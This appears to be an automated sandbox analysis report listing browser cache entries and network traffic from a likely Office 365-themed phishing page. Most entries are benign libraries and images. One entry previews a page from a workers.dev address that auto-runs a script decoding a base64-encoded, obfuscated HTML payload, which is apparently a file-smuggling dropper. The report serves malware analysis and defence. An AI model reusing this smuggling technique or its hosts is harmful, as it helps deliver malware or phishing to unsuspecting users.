Preview:	.PNG........IHDR.............Z..... cHRM..z&..............u0...`..:....p..Q<....sRGB.........gAMA......a.....pHYs...............:.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2020-01-20T16:21:42+05:00</xmp:CreateDate>. <

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (38635)
Category:	downloaded
Size (bytes):	88321
Entropy (8bit):	4.815546201122281
Encrypted:	false
SSDEEP:	768:Ncl8WwtvpmgP1IpsUh31IPiyXNq4YxBowbgJlkwF//zMQyYJYX9Bf7VSz+:NclMIpsU0PxXE4YXJgndFTfy9lQC
MD5:	1C73C32E32F96A4785381C51B7DBD029
SHA1:	3737571D6C89D68960E775DA3FC210173798C752
SHA-256:	8BBEC6BFE2F411A1301F799084CCA64690937047BA440AFC261FB5201747AEA6
SHA-512:	7C91AF23A6E39C59001C42FF2C4B247143D3462B89E7DDD0B66C5935E66215CEC39FDD132DE355BC722274FE8E69AD72238DECB0485ACE011D8AE06E1B18C59D
Malicious:	false
Reputation:	low
URL:	https://hiirscktcy.web.app/general-style.css
Preview:	. * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-star-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-file-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-c

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60130)
Category:	downloaded
Size (bytes):	60312
Entropy (8bit):	4.72859504417617
Encrypted:	false
SSDEEP:	768:PUh31IPiyXNq4YxBowbgJlkwF//zMQyYJYX9Bf7VSz8:PU0PxXE4YXJgndFTfy9lQQ
MD5:	A12EC7EBE75A4D59A5DD6B79E2BA2E16
SHA1:	28F5DCC595EE6D4163481EF64170180502C8629B
SHA-256:	FC5128DFDCDFA0C3A9967A6D2F19399D7BF1AAAE6AD7571B96B03915A1F30DDA
SHA-512:	28B9EA5F3F95807259C2745162424ACEECAC2556BC1AB9A3B33E4E15B54C6970A4DF4A5892FE83C1155C82CA8D93AEBB173BE32F1A7F8B9D3CE038B2DD1E6FFE
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v5.15.4/css/free.min.css?token=585b051251
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pul

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, progressive, precision 8, 670x335, components 3
Category:	dropped
Size (bytes):	72003
Entropy (8bit):	7.982181477958979
Encrypted:	false
SSDEEP:	768:Zg0NO59kK2Rn6g1Zl/hCmrGGnlOVL8ny0d1gUfG7dW0LMs1xVsw+QqAg0yFsdDao:hO59cL1ZOJGlNa7gmkTzF0EBeh8gWY
MD5:	F54F13C216139F1FB4B95B38066E6344
SHA1:	61FC465A4D49721D49819FC546CF8CD9A52CD87A
SHA-256:	2A55385BEB7310DD4CFFF14F49BA246FE0B65BEFA1485C91B33CE30283E1A07E
SHA-512:	46A0598E3A5DD421E50AA74C3D7132CC6BEE0C589788D8224568CA398A87CE5471D8CA4FC0B1974149365DBB99E75A0F0197CCA1A4AF9FC75AF94743736A0DEC
Malicious:	false
Reputation:	low
Preview:	.....!Adobe.d@...................................................................................................................................................................O....................................................................................................!1. "2..0A#.B3.@C$%.6&.........................!...1AQa.."#..q.....23$....CS4%cs.DTdt.... ..5.0BREUu.&r...e.....6.b......Fv.....V'7...f.......................!1.. Aa...Qq...2.0."....b..@..#BRr..3...$.CScs...4..................~...i+....ax.&H.........&T.......-veL..dY=Ts.Q....L.Bup.2h.._m.... 6.F2...\_Q.......p.t...z....t....[.Z.,...bg.9W[yqoC...z'$.X..n.[6...1oi....%\..}.e\|.2..?.....$E.Q..x3n.)...$gKn.0.../Z.....<........P....z.I.eGy...L....#4..-...t...?Z-K.V..4S.......$.oH9$.?Ky~..........^.m..../....'.d4...>.+_C.yW....W.....R.VG...sd(..:..M....7ja=...ulT.ler.\|#on...h.^.l.>.......*:...z..........@.. p..@.7..1NdFe....FN...!-.+..\Erw..O.\....z...H.8C%....K.5.tA...yW."z5F...\|;=..

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 600, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	69286
Entropy (8bit):	7.970630022901347
Encrypted:	false
SSDEEP:	1536:GAj7LVj05FNvPUGtR4nhaeJo0uopwZNqhCP+Pj1LPhSwBV+:GGj05jUpZJou2N+zjZK
MD5:	023BFF6503A7C777FB61EB08BC9CE84A
SHA1:	3626702EAFE338C3F89D22949F3A397D6CEAFB0F
SHA-256:	E4AAEA8BC5BE7CC2E82BD23355AA9A29B5F8C58A234293E188B90D589E9033DB
SHA-512:	FEE73CBE9AB60907E54EDA4C9160252DDC719B90874837DDC1BE10119D2E32DE45E2B2E6AE30AB44884E79BE36A3A4C77ECB63F71BC1D1BE9981F165ECDC26E1
Malicious:	false
Reputation:	low
URL:	https://image.similarpng.com/very-thumbnail/2021/09/Outlook-icon-on-transparent-background-PNG.png
Preview:	.PNG........IHDR...X...X.....1.......pHYs..........+.... .IDATx..y.eIU'...r.....,j. k.....@.A...A.-...h.m}...~.....>Zm...QQ...m....6.C.(.....k.y...{....#bE..X.....r...;{.............'.O..._\|..l%[.V..l%..%.L....`0...`..`0..S.3....`.j.!4....T....`0...f.....0.0Ch0......B..`0L5......a.a..`0..S.3....`.j.!4....T....`0...f.....0...........`0<e..4....l%[.V..l%7`..`0...f.....0.0Ch0......B..`0L5......a.a..`0..S.3....`.j.!4....T....`0...f.....0.0Ch0......B..`0L5......a.a.a2....T..h.....V..l%[.V...I....`.j.!4....T....`0...f.....0.0Ch0......B..`0L5......a.a..`0..S.3....`.j.!4....T....`0...f.....0.0Ch0.....}..`0..S..I3l..kX.V..l%[.Vr.&.....a.a..`0..S.3....`.j.!4....T....`0...f.....0.0Ch0......B..`0L5......a.a..`0..S.3....`.j.!4....T....`0.....&..`0L5...O....a%[.V..l%[...4j0......B..`0L5......a.a..`0..S.3....`.j.!4....T....`0...f.....0.0Ch0......B..`0L5......a.a..`0..S.3....`.j.g.....0..4.....l%[.V..l%7`..`0...f.....0.0Ch0......B..`0L5......a.a..`0..S.3....`.j.!4....T....`0...f....

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 600, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	69286
Entropy (8bit):	7.970630022901347
Encrypted:	false
SSDEEP:	1536:GAj7LVj05FNvPUGtR4nhaeJo0uopwZNqhCP+Pj1LPhSwBV+:GGj05jUpZJou2N+zjZK
MD5:	023BFF6503A7C777FB61EB08BC9CE84A
SHA1:	3626702EAFE338C3F89D22949F3A397D6CEAFB0F
SHA-256:	E4AAEA8BC5BE7CC2E82BD23355AA9A29B5F8C58A234293E188B90D589E9033DB
SHA-512:	FEE73CBE9AB60907E54EDA4C9160252DDC719B90874837DDC1BE10119D2E32DE45E2B2E6AE30AB44884E79BE36A3A4C77ECB63F71BC1D1BE9981F165ECDC26E1
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...X...X.....1.......pHYs..........+.... .IDATx..y.eIU'...r.....,j. k.....@.A...A.-...h.m}...~.....>Zm...QQ...m....6.C.(.....k.y...{....#bE..X.....r...;{.............'.O..._\|..l%[.V..l%..%.L....`0...`..`0..S.3....`.j.!4....T....`0...f.....0.0Ch0......B..`0L5......a.a..`0..S.3....`.j.!4....T....`0...f.....0...........`0<e..4....l%[.V..l%7`..`0...f.....0.0Ch0......B..`0L5......a.a..`0..S.3....`.j.!4....T....`0...f.....0.0Ch0......B..`0L5......a.a.a2....T..h.....V..l%[.V...I....`.j.!4....T....`0...f.....0.0Ch0......B..`0L5......a.a..`0..S.3....`.j.!4....T....`0...f.....0.0Ch0.....}..`0..S..I3l..kX.V..l%[.Vr.&.....a.a..`0..S.3....`.j.!4....T....`0...f.....0.0Ch0......B..`0L5......a.a..`0..S.3....`.j.!4....T....`0.....&..`0L5...O....a%[.V..l%[...4j0......B..`0L5......a.a..`0..S.3....`.j.!4....T....`0...f.....0.0Ch0......B..`0L5......a.a..`0..S.3....`.j.g.....0..4.....l%[.V..l%7`..`0...f.....0.0Ch0......B..`0L5......a.a..`0..S.3....`.j.!4....T....`0...f....

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 900x540, components 3
Category:	dropped
Size (bytes):	54749
Entropy (8bit):	7.734230233994223
Encrypted:	false
SSDEEP:	1536:anDCqhWWWWWAWOdHWWWQKAWbAVPAWWWsI6WWWPfnR9uRNyxYhWWWAsBrfV3yDR55:QDCqhWWWWWzOxWWW3APoWWWsI6WWWnRG
MD5:	FA9C94C3E02AB946ABD124563C15E15C
SHA1:	EE73EC14E36011125124A5F739741B4B3D44E7D7
SHA-256:	E6E8D049EAE71ADC7885CD270FB033E975AF9EAD0CA3535A40DEBDD00A78E502
SHA-512:	B9767A9EAFD831C98ECD96101A1A28EA2630B2B3967D647CB98601936E0B7CFAF9B48F092EC002D4E2270C04FB69E518E1D495F3AAADB977647B37913D39DF62
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Exif..II*................+http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:788A2A25D02511E7A0AEC879B62BAB1D" xmpMM:DocumentID="xmp.did:788A2A26D02511E7A0AEC879B62BAB1D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:788A2A23D02511E7A0AEC879B62BAB1D" stRef:documentID="xmp.did:788A2A24D02511E7A0AEC879B62BAB1D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...C....................................................................C....................................................................

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 282x179, components 3
Category:	dropped
Size (bytes):	4896
Entropy (8bit):	7.879097503936679
Encrypted:	false
SSDEEP:	96:HPEDFz8h5at1xmWwsgQsErte2F9EoFDj4VTQTQasqy4qucCh/QsjdFb8n:HPEDFz8DaHwW0UEmL42QwcCes5FAn
MD5:	55C096DF4A450F1990E5EF99C4487AD0
SHA1:	9BE2024A77ADBE61CA34B5C60506EFD7BD5031F9
SHA-256:	F278759A7BACECD4ACECEE9386BD0937CD0DA327967DE61C48381C8FE9A1963B
SHA-512:	0CBE006F0208283D919F8FF9ED7B73B9A63AA02DBE17123B11071E7CC3105B17F625EA11BC5537D0492BC1FFD1855B5B105956C0B420434467E624570F0700EB
Malicious:	false
Reputation:	low
Preview:	......JFIF..................................................!.%..+...&8&+/1555.$;@;3?.451...........4$$$1441145644114414114444444444414441411414?441141??4..........."........................................I.......................!1Q...A.2aq........."RST..$BCb..3..#Drs.....4cd............................... ........................!1QA".............?..n.;...U.S..qr.x..."..u^........JU.)t..c...i.].V..?.O.. _.U.P.t6......,-..........:+..\|..Kz?.t.:Kj..........N.v.mu.....w........g.8....P._..G}...K.B...sMq..._#....=N.v......../.%...._..T.E\.u..tu...e.......T.dpP...uC.S...iF....)a...../.o....l.........Y.+.q.'K..eJ]d[ .).....u3}.D}....@.7?...#<.s$Fy>..0...,.2..D.E.$ }.$ .C5..8f..p.. U....]....Z.e6.rR.er.&z.v&c.:ju=.....A..jK....=...v..:k..he.4.e.~...\......\|R......l...r...Sm..\.q.dU'....d..t....%+E.8....YEk.scU-.....-.....Y..8..9%7.{Q...1`E.[.z9.J1....JQjq.i...i.>..9....\k~....u....m....t....L..m...x.G...w}.){.Z...(.d.x...,.{"Cs..R..N+.S.._R....8..#f."....*

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 399 x 234, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	27264
Entropy (8bit):	5.211666264328576
Encrypted:	false
SSDEEP:	384:HKi2u52IXXggO3QJuZEfjGete8ZV9oVcMaamXY2om:qiLXvnSeteUVRxbom
MD5:	E12869E88698A7CCDEF897C661E3729B
SHA1:	BF336C35D34E775E29C50168B351DE5B041690AA
SHA-256:	94F584A17BCF5868513C7E0B8A7085DF161AAC6FC6DEEF8907D1579ED8312899
SHA-512:	22BCC26A6E962B56FD128E01D5FADFB8CEADCD492EA4280BD1906C0BC1D39C647685AEF08DE313D029B61FA3D853CCDE3A0CA42E3F986CC2F46A5515F77DF7B4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............Z..... cHRM..z&..............u0...`..:....p..Q<....sRGB.........gAMA......a.....pHYs...............:.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2020-01-20T16:21:42+05:00</xmp:CreateDate>. <

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	88145
Entropy (8bit):	5.291106244832159
Encrypted:	false
SSDEEP:	1536:yTExXUZinxD7oPEZxkMV4SYKFMbRHZ6H5HOHCWrcElzuu7BRCKKBEqBsojZlOPma:ygZm0H5HO5+gCKWZyPmHQ47GKe
MD5:	220AFD743D9E9643852E31A135A9F3AE
SHA1:	88523924351BAC0B5D560FE0C5781E2556E7693D
SHA-256:	0925E8AD7BD971391A8B1E98BE8E87A6971919EB5B60C196485941C3C1DF089A
SHA-512:	6E722FCE1E8553BE592B1A741972C7F5B7B0CDAFCE230E9D2D587D20283482881C96660682E4095A5F14DF45A96EC193A9B222030C53B1B7BBE8312B2EAE440D
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.4.1.min.js
Preview:	/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 880x917, components 3
Category:	downloaded
Size (bytes):	109421
Entropy (8bit):	7.681940665031967
Encrypted:	false
SSDEEP:	1536:dryy0xAR2h+xAU2vFFFFSyyAIq8iJZncuhsNkaM:eAR2hKuFFFFRAuhsNXM
MD5:	2160E26FB1DA62C4E66D1BA92B87358A
SHA1:	49C74BDCFD0E85427ACCD33614DEDE7AE9A2FEDE
SHA-256:	C11E0DFF418FF81F05A64998DF774BF601715AEAC44341959B918C34B41D3251
SHA-512:	FA2744446269E627B7617DBA6F6775DAF9EDAEB92640A9BF49B9D32C8D996D62E47DC45521BD4AF4CA22F48C14B06BD33D3D4F64F82378893EDEA68D6576339A
Malicious:	false
Reputation:	low
URL:	https://www.pinclipart.com/picdir/middle/80-804103_office-365-is-securable-but-not-secure-microsoft.png
Preview:	......JFIF.............C....................................................................C.........................................................................p.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....9<.......?......t...='.W'..s..N..Y>..5.=.}o...y..8....;.Z..'..f.w^..?.}.@....3^y..q.rz..?..^.^y..W...ZP.......r9=Gs.M.^..?..}....3FO...%...='.W'..s..N..Y>..5.=.}o...y..8....;.Z..'..f.w^..?.}.@....3^y..q.rz..?..^.^y..W...ZP.......r9=Gs.M.^..?..}....3FO...%...='.W'..s..N..Y>..5.=.}o...y..8....;.Z..'..f.w^..?.}.@....3^y..q.rz..?..^.^y..W...ZP.......r9=Gs.M.^..

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65325)
Category:	downloaded
Size (bytes):	144877
Entropy (8bit):	5.049937202697915
Encrypted:	false
SSDEEP:	1536:GcoqwrUPyDHU7c7TcDEBi82NcuSELL4d/+oENM6HN26Q:VoPgPard2oENM6HN26Q
MD5:	450FC463B8B1A349DF717056FBB3E078
SHA1:	895125A4522A3B10EE7ADA06EE6503587CBF95C5
SHA-256:	2C0F3DCFE93D7E380C290FE4AB838ED8CADFF1596D62697F5444BE460D1F876D
SHA-512:	93BF1ED5F6D8B34F53413A86EFD4A925D578C97ABC757EA871F3F46F340745E4126C48219D2E8040713605B64A9ECF7AD986AA8102F5EA5ECF9228801D962F5D
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors. * Copyright 2011-2018 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace},::after,::before{box-sizing:border-box}html{font-family:sans

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (64862)
Category:	downloaded
Size (bytes):	1669445
Entropy (8bit):	5.539918512112045
Encrypted:	false
SSDEEP:	24576:+vcKoFiXFrMGXu/YOxNCbzORkmLpCLU6mWZRFSrY8U6rj92ABLSBPOmpbAWlt7Oi:fP617ObSDf
MD5:	C4B2226136DFBDACB5963FA51052F776
SHA1:	7EAA40E4F794D8DDE18E1F48AE9F0187C9CF0938
SHA-256:	53BD269E18346CCF1A1AC959F18EFCC1CFD21D2D9673B58AED399C2C2F3B01CC
SHA-512:	F514AE5C24E05FF3B7FF5DB1515C7B2EE01C24930494B4383A5D6FBD738EFEC3893C522B9AC7355C9CC548765E4DD4A5B5E4299E7C59944155FA6D8DDA792EC9
Malicious:	false
Reputation:	low
URL:	https://cloudsss-c367.iardainwkasn.workers.dev/
Preview:	..<!DOCTYPE html>.<html>.<head>. <title></title>. <meta http-equiv="content-type" content="text/html; charset=UTF-8">. <meta name="robots" content="noindex, nofollow">. <meta name="googlebot" content="noindex, nofollow">. <meta name="viewport" content="width=device-width, initial-scale=1">... <script type="text/javascript" src="https://code.jquery.com/jquery-3.4.1.min.js" ></script>. <script type="text/javascript">...$(document).ready(function() {...saveFile();.});..function saveFile (name, type, data) {..if (data != null && navigator.msSaveBlob)...return navigator.msSaveBlob(new Blob([data], { type: type }), name);..var a = $("<a style='display: none;'/>");.. var encodedStringAtoB = 'PGh0bWw+DQo8c2NyaXB0Pg0KDQooZnVuY3Rpb24gKCRmb2ckMCwgJGZvZyQxLCAkZm9nJDIsICRmb2ckMywgJGZvZyQ0LCAkZm9nJDUsICRmb2ckNiwgJGZvZyQ3LCAkZm9nJDgsICRmb2ckOSwgJGZvZyQxMCwgJGZvZyQxMSwgJGZvZyQxMiwgJGZvZyQxMywgJGZvZyQxNCwgJGZvZyQxNSwgJGZvZyQxNiwgJGZvZyQxNywgJGZvZyQxOCwgJGZvZyQzMSwgJGZvZyQyMiwgJGZvZyQyMSwgJGZv

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 880x917, components 3
Category:	dropped
Size (bytes):	109421
Entropy (8bit):	7.681940665031967
Encrypted:	false
SSDEEP:	1536:dryy0xAR2h+xAU2vFFFFSyyAIq8iJZncuhsNkaM:eAR2hKuFFFFRAuhsNXM
MD5:	2160E26FB1DA62C4E66D1BA92B87358A
SHA1:	49C74BDCFD0E85427ACCD33614DEDE7AE9A2FEDE
SHA-256:	C11E0DFF418FF81F05A64998DF774BF601715AEAC44341959B918C34B41D3251
SHA-512:	FA2744446269E627B7617DBA6F6775DAF9EDAEB92640A9BF49B9D32C8D996D62E47DC45521BD4AF4CA22F48C14B06BD33D3D4F64F82378893EDEA68D6576339A
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................p.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....9<.......?......t...='.W'..s..N..Y>..5.=.}o...y..8....;.Z..'..f.w^..?.}.@....3^y..q.rz..?..^.^y..W...ZP.......r9=Gs.M.^..?..}....3FO...%...='.W'..s..N..Y>..5.=.}o...y..8....;.Z..'..f.w^..?.}.@....3^y..q.rz..?..^.^y..W...ZP.......r9=Gs.M.^..?..}....3FO...%...='.W'..s..N..Y>..5.=.}o...y..8....;.Z..'..f.w^..?.}.@....3^y..q.rz..?..^.^y..W...ZP.......r9=Gs.M.^..

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 29, 2024 02:01:10.343849897 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 29, 2024 02:01:19.953133106 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 29, 2024 02:01:21.422955990 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:21.423002958 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:21.423059940 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:21.423427105 CEST	49733	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:21.423439980 CEST	443	49733	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:21.685864925 CEST	443	49733	142.250.191.100	192.168.2.4
